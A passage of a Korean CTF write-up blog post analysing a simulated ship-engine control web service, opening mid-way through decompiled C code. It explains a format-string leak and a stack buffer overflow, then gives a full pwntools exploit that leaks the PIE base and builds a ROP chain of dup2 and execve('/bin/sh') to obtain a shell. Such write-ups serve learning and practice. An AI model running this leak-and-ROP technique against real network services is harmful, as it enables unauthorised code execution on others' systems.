debug_log((unsigned int)"[process_control_packet] override defaulted to \"DISARMED\"\n", v20, v39, v40, v41, v42);
goto LABEL_41;
}
LODWORD(v20) = 0;
debug_log((unsigned int)"[process_control_packet] operator present=%d\n", 0, v114, v16, v17, v18);
if ( !*(_BYTE *)(a2 + 2072) )
goto LABEL_29;
LABEL_7:
debug_log((unsigned int)"th %s\n", (unsigned int)&v130[2], v25, v26, v27, v28);
v31 = *(_QWORD *)(a2 + 2064);
v32 = &v130[2];
v20 = a2 + 1040;
if ( v31 > 0xF )
v31 = 15LL;
v33 = (_DWORD *)(a2 + 1040);
if ( (unsigned int)v31 >= 8 )
{
LODWORD(v104) = 0;
v29 = v31 & 0xFFFFFFF8;
do
{
v105 = (unsigned int)v104;
v104 = (unsigned int)(v104 + 8);
*(_QWORD *)((char *)&v130[2] + v105) = *(_QWORD *)(v20 + v105);
}
while ( (unsigned int)v104 < v29 );
v32 = (_DWORD *)((char *)&v130[2] + v104);
v33 = (_DWORD *)(v20 + v104);
}
v34 = 0LL;
if ( (v31 & 4) != 0 )
{
*v32 = *v33;
v34 = 4LL;
}
if ( (v31 & 2) != 0 )
{
LODWORD(v20) = *(unsigned __int16 *)((char *)v33 + v34);
*(_WORD *)((char *)v32 + v34) = v20;
v34 += 2LL;
}
if ( (v31 & 1) != 0 )
{
LODWORD(v33) = *((unsigned __int8 *)v33 + v34);
*((_BYTE *)v32 + v34) = (_BYTE)v33;
}
*((_BYTE *)&v130[2] + v31) = 0;
debug_log((unsigned int)"[process_control_packet] throttle updated\n", v20, (_DWORD)v33, v34, v29, v30);
if ( *(_BYTE *)(a2 + 3112) )
goto LABEL_30;
LABEL_17:
strcpy((char *)&v130[3], "1500");
debug_log((unsigned int)"[process_control_packet] rpm defaulted to \"1500\"\n", v20, v35, v36, v37, v38);
if ( !*(_BYTE *)(a2 + 4152) )
goto LABEL_40;
LABEL_18:
v43 = *(_QWORD *)(a2 + 4144);
v44 = a2 + 3120;
v45 = &v130[4];
if ( v43 > 0xF )
v43 = 15LL;
v46 = (_DWORD *)(a2 + 3120);
if ( (unsigned int)v43 >= 8 )
{
LODWORD(v102) = 0;
v41 = v43 & 0xFFFFFFF8;
do
{
v103 = (unsigned int)v102;
v102 = (unsigned int)(v102 + 8);
*(_QWORD *)((char *)&v130[4] + v103) = *(_QWORD *)(v44 + v103);
}
while ( (unsigned int)v102 < v41 );
v45 = (_DWORD *)((char *)&v130[4] + v102);
v46 = (_DWORD *)(v44 + v102);
}
v47 = 0LL;
if ( (v43 & 4) != 0 )
{
*v45 = *v46;
v47 = 4LL;
}
if ( (v43 & 2) != 0 )
{
*(_WORD *)((char *)v45 + v47) = *(_WORD *)((char *)v46 + v47);
v47 += 2LL;
}
if ( (v43 & 1) != 0 )
{
LODWORD(v46) = *((unsigned __int8 *)v46 + v47);
*((_BYTE *)v45 + v47) = (_BYTE)v46;
}
*((_BYTE *)&v130[4] + v43) = 0;
debug_log((unsigned int)"[process_control_packet] override updated\n", (_DWORD)v45, (_DWORD)v46, v47, v41, v42);
LABEL_41:
v11 = *(_BYTE *)(a2 + 5192) == 0;
v55 = "No diagnostics submitted.";
v130[5] = _mm_load_si128((const __m128i *)&xmmword_B6970);
*(__m128i *)((char *)&v130[5] + 9) = _mm_load_si128((const __m128i *)&xmmword_B6980);
if ( !v11 )
{
debug_log(
(unsigned int)"[process_control_packet] diagnostic message present (len=%zu)\n",
*(_QWORD *)(a2 + 5184),
a2 + 4160,
v48,
v49,
v50);
v55 = (const char *)(a2 + 4160);
}
stream_dashboard(a1, (int)v129, (__int64)v55);
debug_log((unsigned int)"[dump_control_profile] operator_id=\"%s\"\n", (unsigned int)v130, v56, v57, v58, v59);
debug_log((unsigned int)"[dump_control_profile] throttle_cmd=\"%s\"\n", (unsigned int)&v130[2], v60, v61, v62, v63);
debug_log((unsigned int)"[dump_control_profile] rpm_target=\"%s\"\n", (unsigned int)&v130[3], v64, v65, v66, v67);
debug_log((unsigned int)"[dump_control_profile] override_code=\"%s\"\n", (unsigned int)&v130[4], v68, v69, v70, v71);
debug_log((unsigned int)"[dump_control_profile] status_note=\"%s\"\n", (unsigned int)&v130[5], v72, v73, v74, v75);
return debug_log(
(unsigned int)"[process_control_packet] completed processing control packet\n",
(unsigned int)&v130[5],
v76,
v77,
v78,
v79);
}
문제 코드를 요약하면 선박 엔진 제어 시스템을 모사한 시뮬레이션 환경을 컨셉으로 하고 있습니다.
여기서 취약점은 2가지가 존재합니다.
취약점 1: Format String Bug (unsafe_log_block)
- diagnostic 파라미터는 process_control_packet을 거쳐 stream_dashboard -> unsafe_log_block 함수로 전달됩니다.
__int64 __fastcall unsafe_log_block(int a1, int a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v10; // edx
int v11; // ecx
int v12; // r8d
int v13; // r9d
dprintf(a1, (unsigned int)"<div class=\"console-entry\">", a3, a4, a5, a6);
dprintf(a1, a2, v6, v7, v8, v9);
return dprintf(a1, (unsigned int)"</div>", v10, v11, v12, v13);
}
위의 코드에선 사용자의 입력이 포맷 스트링 인자로 바로 들어가므로, %p, %x 등을 통해 메모리 내 libc나 바이너리, 스택 주소를 구할 수 있습니다.
취약점 2: Stack Buffer Overflow
process_control_packet 함수에서 operator 파라미터를 처리할 때 치명적인 버그가 존재합니다.
if ( *(_BYTE *)(a2 + 1032) )
{
debug_log((__int64)"copy!! %d len(%d)\n", 144, *(_QWORD *)(a2 + 1024));
v12 = *(_QWORD *)(a2 + 1024);
j_memcpy(v78, a2, v12);
debug_log((__int64)"[process_control_packet] copied operator payload len=%zu\n", v12);
if ( *(_BYTE *)(a2 + 2072) )
goto LABEL_7;
LABEL_29:
strcpy((char *)&v78[2], "maintain");
debug_log((__int64)"[process_control_packet] throttle defaulted to \"maintain\"\n");
if ( !*(_BYTE *)(a2 + 3112) )
goto LABEL_17;
위의 코드에서 a2는 사용자로부터 입력되어 url 인코딩된 값이 저장된 변수입니다.
이때 a2에서 1024만큼 길이가 추가된 값을 v12에 저장하여 memcpy의 길이 변수로 넣어주게 되는데 여기서 v78의 길이는 192바이트입니다 (16바이트 * 12)
__int128 v68; // [rsp+80h] [rbp-1D8h]
_QWORD v69[2]; // [rsp+90h] [rbp-1C8h] BYREF
__int128 v70; // [rsp+A0h] [rbp-1B8h]
__int128 v71; // [rsp+B0h] [rbp-1A8h]
__int128 v72; // [rsp+C0h] [rbp-198h]
_QWORD v73[2]; // [rsp+D0h] [rbp-188h] BYREF
__int128 v74; // [rsp+E0h] [rbp-178h]
__int128 v75; // [rsp+F0h] [rbp-168h]
__int128 v76; // [rsp+100h] [rbp-158h]
char v77[128]; // [rsp+110h] [rbp-148h] BYREF
_OWORD v78[12]; // [rsp+190h] [rbp-C8h] BYREF
따라서 192바이트 변수에 1024바이트 이상의 변수가 작성되어 overflow가 일어나게 됩니다.
위의 취약점을 이용해 pie 주소를 구해 rop 체인을 구성하여 익스플로잇을 수행하면 셸을 얻을 수 있습니다.
(정적링크로 구성되어있어 따로 libc 주소는 필요하지 않았습니다.)
최종 익스플로잇 코드는 다음과 같습니다.
from pwn import *
import urllib.parse
HOST = '10.100.0.40'
PORT = 30178
LEAK_OFFSET = 0x9f81
context.arch = 'amd64'
context.log_level = 'info'
def send_packet(key, value):
params = {
b"operator": b"pwn",
b"override": b"DISARMED",
b"throttle": b"100",
b"rpm": b"2000",
b"diagnostic": b""
}
if isinstance(key, str): key = key.encode()
if isinstance(value, str): value = value.encode()
params[key] = value
body_parts = []
for k, v in params.items():
enc_k = urllib.parse.quote_plus(k).encode()
enc_v = urllib.parse.quote_plus(v).encode()
body_parts.append(enc_k + b"=" + enc_v)
body = b"&".join(body_parts)
r = remote(HOST, PORT, level='error')
req = b"POST / HTTP/1.0\r\n"
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"Content-Type: application/x-www-form-urlencoded\r\n\r\n"
req += body
r.send(req)
if key == b"operator":
return r
try:
response = r.recvall(timeout=2)
r.close()
start = response.find(b'<div class="console-entry">')
end = response.find(b'</div>', start)
if start != -1 and end != -1:
return response[start+27:end].strip()
return b""
except:
return b""
log.info("Phase 1: Leaking Addresses...")
leak_res = send_packet("diagnostic", "%8$p")
if not leak_res:
log.error("Server not responding. Restart ./server")
leaked_addr = int(leak_res, 16)
binary_base = leaked_addr - LEAK_OFFSET
log.success(f"Binary Base: {hex(binary_base)}")
log.info("Phase 2: Generating ROP Chain...")
dup2_offset = 0x4aa10
execve_offset = 0x4a920
binsh_offset = 0xb002c
dup2_addr = binary_base + dup2_offset
execve_addr = binary_base + execve_offset
binsh_addr = binary_base + binsh_offset
pop_rdi = binary_base + 0xa00a
pop_rsi_dirty = binary_base + 0xba46
pop_rdx_dirty = binary_base + 0xaca44
def chain_dup2(oldfd, newfd):
chain = b""
chain += p64(pop_rdi) + p64(oldfd)
chain += p64(pop_rsi_dirty) + p64(newfd) + p64(0) + p64(0)
chain += p64(dup2_addr)
return chain
rop += chain_dup2(4, 0)
rop += chain_dup2(4, 1)
rop += chain_dup2(4, 2)
rop += p64(pop_rdi) + p64(binsh_addr)
rop += p64(pop_rsi_dirty) + p64(0) + p64(0) + p64(0)
rop += p64(pop_rdx_dirty) + p64(0) + p64(0) + p64(0)
rop += p64(execve_addr)
payload = b"A" * 192
payload += b"DEADBEEF"
payload += rop
log.info(f"Payload Size: {len(payload)} bytes")
log.info("Phase 3: Sending Exploit...")
r = send_packet("operator", payload)
log.success("Exploit Sent! Check for shell.")
r.interactive()

+ 급하게 푸느라 리버싱을 다 못하고 익스를 진행하였는데 알고보니 셸을 딸 수 있는 함수가 있었습니다 ㅠㅜ,,, (어쩐지 dup2 심볼이 있더라,,,,)
void __fastcall __noreturn launch_sequence(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
unsigned int v6; // ebx
v6 = control_fd;
if ( control_fd >= 0 )
{
dup2((unsigned int)control_fd, 0LL);
dup2(v6, 1LL);
dup2(v6, 2LL);
}
execl((unsigned int)"/bin/sh", (unsigned int)"sh", 0, a4, a5, a6);
exit(1);
}
'CTF, Wargame' 카테고리의 다른 글
| [Dreamhack] Magnus Carlsen (0) | 2025.12.27 |
|---|---|
| [2025 ACS] deep_dive (0) | 2025.11.19 |
| [2025 ACDC] Audio Challenge (0) | 2025.11.15 |
| [hacktheon CTF] Barcode (0) | 2025.09.11 |
| [hacktheon CTF] I love revsersing (0) | 2025.09.11 |